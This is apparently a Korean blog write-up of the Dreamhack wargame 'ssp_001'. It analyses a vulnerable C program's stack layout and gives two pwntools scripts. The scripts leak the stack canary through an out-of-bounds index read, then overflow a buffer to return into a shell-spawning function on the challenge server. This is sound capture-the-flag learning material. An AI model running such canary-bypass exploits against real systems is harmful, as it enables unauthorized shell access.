System Hacking/Dreamhack 풀이

ssp_001(Stack Canary)

박연준 2023. 7. 2. 00:32

ssp_001(Stack Canary)

문제 정보

이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.

프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.

“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.

플래그의 형식은 DH{…} 입니다.

Environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

풀이

먼저 Environment에서 환경 정보를 확인해보면 i386인 32비트 리틀 엔디언 방식을 사용했고 어떤 보호 기법이 적용되어 있는지 보면 PIE가 비활성화 되어 있는 것을 볼 수 있고 실행 파일이 항상 같은 위치에서 로드된다고 볼 수 있다. 또한 0x804800은 이 프로그램이 메모리 상에서 로드되는 주소를 나타낸다.

 

문제 파일인 ssp_001과 ssp_001.c 파일을 다운받은 후 checksec을 이용하여서 PIE가 진짜 비활성화 되어 있는지 확인했다.

 

ssp_001.c 파일의 코드는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

소스 코드를 분석해보면 alram_handler() 함수와 initialize() 함수를 정의하고 메인 함수에서 실행시켜 30초가 지나면 실행이 끝나도록 되어있다. 다음은 get_shell()함수가 있기 때문에 반환 주소를 이 함수의 주소로 옮겨서 쉘을 실행 시킬 수 있다.

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}

다음으로 print_box 함수는 *box와 idx를 인자로 설정하여 idx의 주소를 16진수로 변환해 출력하도록 되어있다. menu 함수에서는 메뉴를 표시하기 위해서 다음과 같이 되어있다.

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

메인 함수에서는 box와 name을 0x40만큼의 크기로 설정하고 select는 2만큼 idx와 name_len 변수는 0으로 초기화하였다. initialize()함수를 실행해 30초만큼 실행 시간을 설정하고 while(1)인 계속 참인 반복문을 이용해 메뉴를 표시한다.

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }

여기서 취약점을 분석해보면 P에서 scanf 함수의 사용으로 box 외의 값도 읽을 수 있다. 또한 E에서 이름의 크기를 scanf 함수를 사용해 입력받으므로 스택 버퍼 오버플로우가 발생한다.

switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }

다음으로 disassemble main 명령을 이용해 main 함수를 분석하고 스택의 구조를 파악해보았다. 처음 read함수가 있는 부분을 찾아 select의 위치를 확인해 본 결과 ebp-0x8a인 것을 확인할 수 있다.

 

read 함수의 두 번째 부분을 찾아 F 부분에서는 ebp-0x88 이 box의 위치인 것을 알 수 있다.

 

P 부분에서는 idx의 위치가 ebp-0x94인 것을 확인할 수 있다.

 

E 부분에서는 name_len의 위치는 ebp-0x90, name의 위치는 ebp-0x48인 것을 확인할 수 있다.

 

ebp-0x8의 값과 gs:0x14의 값이 같지 않을 경우 __stack_chk_fail을 호출하는 것으로 보아 ebp-0x8의 위치에 카나리가 있는 것을 유추할 수 있고 ebp와 카나리 사이에 4바이트의 dummy 값이 존재하는 것을 알 수 있다.

 

분석한 내용으로 스택의 구조를 그려보면 다음과 같다.

 

ssp_001 파일을 실행하고 P를 입력하면 box에 있는 버퍼의 값에 입력되고 스택 버퍼 오버플로우를 발생시키면 카나리 값을 릭할 수 있다. 16진수인 40을 10진수로 바꾸면 64이기 때문에 128부터 128, 129, 130, 131을 P 부분에서 입력하면 카나리 값을 얻을 수 있다. 따라서 다음과 같이 결과가 나오는데 이 값은 리틀 엔디언 방식이므로 다시 변환해주면 0xa7c9b200임을 알 수 있다.

 

 

카나리 값은 실행할 때마다 계속해서 바뀌기 때문에 카나리 값을 얻는 익스플로잇을 pwntools를 이용해 작성해야 한다. 따라서 다음과 같이 작성할 수 있다.

from pwn import * #pwntools import

p = process("./ssp_001") #process를 이용해 파일 설정

canary = b"0x" #카나리 선언

p.recvuntil("> ") #> 까지 문자열 읽어오기

def canary_leak(num): #인자가 num인 carry_leak 함수 선언
        p.sendline(b"P") #P를 보내고 \\n까지 하기 위해 sendline 사용
        p.recvuntil(": ") #: 까지 문자열 읽어오기
        p.sendline(str(num)) #인자인num을 보내고 \\n 까지 하기 위해 sendline 사용

        p.recvuntil("is : ") #is : 까지 문자열 읽어오기

        return p.recv()[:2] #[:2]를 이용해 첫 두 개의 문자만 반환

canary += canary_leak(131) #리틀 엔디언 방식이기 때문에 131부터 역순으로 집어넣어줌
canary += canary_leak(130) # ''
canary += canary_leak(129) # ''
canary += canary_leak(128) # ''

canary = int(canary, 16) #카나리 값을 int함수를 이용해 16진수로 변환

print("Canary : "+hex(canary)) #카나리 값을 0x~~~로 출력하기 위해 hex함수 사용

실행 시켜보면 다음과 같이 카나리 값이 잘 출력되는 것을 확인할 수 있다.

 

 

get_shell()의 주소는 다음과 같다. PIE의 보호 기법이 설정되지 않았기 때문에 다음과 같이 고정된 주소를 사용할 수 있는 것이다.

 

이제 카나리 값을 얻었기 때문에 E를 입력하는 부분에 name의 크기를 nop * 64 + canary + nop * 4 + nop * 4 + get_shell() address 값의 length만큼 설정해주면 된다. 익스플로잇을 작성하면 다음과 같다.

from pwn import *

p = remote("host3.dreamhack.games", 11812) #서버로 전송해야 하기 때문에 remote로 변경

canary = b"0x"

p.recvuntil("> ")

def canary_leak(num):
        p.sendline(b"P")
        p.recvuntil(": ")
        p.sendline(str(num))

        p.recvuntil("is : ")

        return p.recv()[:2]

canary += canary_leak(131)
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)

canary = int(canary, 16)

print("Canary : "+hex(canary))

payload = b"\\x90" *64           #64만큼 크기의 name에 들어갈 nop 생성
payload += p32(canary)          #canary값 p32로 패킹 후 payload 추가
payload += b"\\x90" *8           #dummy와 ebp만큼의 nop 생성
payload += b"\\xb9\\x86\\x04\\x08"  #전에 구했던 get_shell() 주소 직접해 반환값 변경

p.sendline("E")                 #서버에 E\\n 전송
p.recvuntil("Size : ")          #Size : 까지 데이터 받아오기

p.sendline(str(len(payload)))   #len함수를 이용해 payload만큼의 크기 + \\n 전송

p.recvuntil("Name : ")          #Name : 까지 데이터 받아오기

p.sendline(payload)             #payload + \\n 전송

p.interactive()                 #쉘 실행

작성한 파일을 실행한 결과 다음과 같이 flag 값이 출력된 것을 확인할 수 있다.